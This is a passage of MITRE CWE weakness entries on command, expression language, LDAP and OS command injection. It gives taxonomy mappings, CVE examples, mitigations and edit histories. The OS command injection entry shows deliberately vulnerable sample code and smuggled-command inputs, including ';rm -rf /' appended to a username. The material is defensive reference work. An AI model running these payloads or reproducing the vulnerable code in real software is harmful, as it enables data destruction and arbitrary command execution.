MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1005	7PK - Input Validation and Representation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1027	OWASP Top Ten 2017 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

CWE-77 is often misused when OS command injection (CWE-78) was intended instead [REF-1287].

Comments:

If the weakness involves a command language besides OS shell invocation, then CWE-77 could be used.

Notes

Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)

Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Command Injection
CLASP			Command injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command
SEI CERT Perl Coding Standard	IDS34-PL	CWE More Specific	Do not pass untrusted, unsanitized data to a command interpreter

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-136	LDAP Injection
CAPEC-15	Command Delimiters
CAPEC-183	IMAP/SMTP Command Injection
CAPEC-248	Command Injection
CAPEC-40	Manipulating Writeable Terminal Devices
CAPEC-43	Exploiting Multiple Input Interpretation Layers
CAPEC-75	Manipulating Writeable Configuration Files
CAPEC-76	Manipulating Web Input to File System Calls

References

[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>. URL validated: 2023-04-07.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2022-05-20	Anonymous External Contributor
2022-05-20	reported typo in Terminology note
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples, Name
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Demonstrative_Examples, Description, Name
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Description, Other_Notes, Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Potential_Mitigations, Relationships
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Description, Name
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Relationships
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes, Terminology_Notes
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Demonstrative_Examples, Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, References, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Description, Observed_Examples, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples, References, Terminology_Notes
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Command Injection

2009-05-27	Failure to Sanitize Data into a Control Plane (aka 'Command Injection')

2009-07-27	Failure to Sanitize Data into a Control Plane ('Command Injection')

2010-06-21	Improper Sanitization of Special Elements used in a Command ('Command Injection')

Weakness ID: 917

View customized information:

Description

Extended Description

Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content. When the developer is not aware of the executable nature of these expressions and/or does not disable them, then if an attacker can inject expressions, this could lead to code execution or other unexpected behaviors.

Alternate Terms

EL Injection

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1336	Improper Neutralization of Special Elements Used in a Template Engine

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation

Applicable Platforms

Languages

Java (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data
Integrity	Technical Impact: Execute Unauthorized Code or Commands

Observed Examples

Reference	Description
CVE-2021-44228	Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability in log4j)

Potential Mitigations

Phase: Architecture and Design

Avoid adding user-controlled data into an expression interpreter when possible.

Phase: Implementation

If user-controlled data must be added to an expression interpreter, one or more of the following should be performed:

Validate that the user input will not evaluate as an expression

Encode the user input in a way that ensures it is not evaluated as an expression

Phases: System Configuration; Operation

The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to "true".

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1027	OWASP Top Ten 2017 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

Maintenance

The interrelationships and differences between CWE-917 and CWE-1336 need to be further clarified.

References

[REF-911] Stefano Di Paola and Arshan Dabirsiaghi. "Expression Language Injection". 2011-09-12. <https://mindedsecurity.com/wp-content/uploads/2020/10/ExpressionLanguageInjection.pdf>. URL validated: 2023-04-07.

[REF-912] Dan Amodio. "Remote Code with Expression Language Injection". 2012-12-14. <http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/>. URL validated: 2023-04-07.

[REF-1279] CWE/CAPEC. "Neutralizing Your Inputs: A Log4Shell Weakness Story". <https://medium.com/@CWE_CAPEC/neutralizing-your-inputs-a-log4shell-weakness-story-89954c8b25c9>.

[REF-1280] OWASP. "Expression Language Injection". <https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection>.

Content History

Submissions
Submission Date	Submitter	Organization
2013-02-15 (CWE 2.4, 2013-02-21)	CWE Content Team	MITRE
2013-02-15 (CWE 2.4, 2013-02-21)
Contributions
Contribution Date	Contributor	Organization
2013-02-15	Dan Amodio, Dave Wichers	Aspect Security
2013-02-15	Suggested adding this weakness and provided references.
Modifications
Modification Date	Modifier	Organization
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated References
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated References
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 90

View customized information:

Description

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	943	Improper Neutralization of Special Elements in Data Query Logic

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Technical Impact: Execute Unauthorized Code or Commands; Read Application Data; Modify Application Data An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.

Demonstrative Examples

Example 1

The code below constructs an LDAP query using user input address data:

(bad code)

Example Language: Java

context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

Observed Examples

Reference	Description
CVE-2021-41232	Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90)
CVE-2005-2301	Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.

Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	713	OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	810	OWASP Top Ten 2010 Category A1 - Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1027	OWASP Top Ten 2017 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems. Can be primary to authentication and verification errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			LDAP injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	29		LDAP Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-136	LDAP Injection

References

[REF-879] SPI Dynamics. "Web Applications and LDAP Injection".

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Name
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes, Relationship_Notes
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Relationships, Taxonomy_Mappings
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Demonstrative_Examples, Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Potential_Mitigations, Relationship_Notes
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	LDAP Injection

2009-05-27	Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')

2010-06-21	Failure to Sanitize Data into LDAP Queries ('LDAP Injection')

Weakness ID: 78

View customized information:

Description

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Alternate Terms

Shell injection
Shell metacharacters

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')
CanAlsoBe	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	184	Incomplete List of Disallowed Inputs

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Non-Repudiation	Technical Impact: Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Read Files or Directories; Modify Files or Directories; Read Application Data; Modify Application Data; Hide Activities Attackers could execute unauthorized commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)

Example Language: PHP

$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)

;rm -rf /

Which would result in $command being:

(result)

ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

(bad code)

Example Language: C

int main(int argc, char** argv) {

char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);

}

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 3

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(bad code)

Example Language: Perl

use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {

while (<$fh>) {

print escapeHTML($_);
print "<br>\n";

}
close($fh);

}

Suppose an attacker provides a domain name like this:

(attack code)

cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(result)

/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 4

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(bad code)

Example Language: Java

String script = System.getProperty("SCRIPTNAME");
if (script != null)

System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 5

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(bad code)

Example Language: Java

public String coordinateTransformLatLonToUTM(String coordinates)
{

String utmCoords = null;
try {

String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform

// ...

}
catch(Exception e) {...}
return utmCoords;

}

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 6

(bad code)

Example Language: Java

...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"

c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

Observed Examples

Reference	Description
CVE-2020-10987	OS command injection in Wi-Fi router, as exploited in the wild per CISA KEV.
CVE-2020-10221	Template functionality in network configuration management tool allows OS command injection, as exploited in the wild per CISA KEV.
CVE-2020-9054	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
CVE-1999-0067	Canonical example of OS command injection. CGI program does not neutralize "\|" metacharacter when invoking a phonebook program.
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
CVE-2002-0061	Web server allows command execution using "\|" (pipe) character.
CVE-2003-0041	FTP client does not filter "\|" from filenames returned by the server, allowing for OS command injection.
CVE-2008-2575	Shell metacharacters in a filename in a ZIP archive
CVE-2002-1898	Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
CVE-2008-4304	OS command injection through environment variable.
CVE-2008-4796	OS command injection through https:// URLs
CVE-2007-3572	Chain: incomplete denylist for OS command injection
CVE-2012-1988	Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.

Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Phase: Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

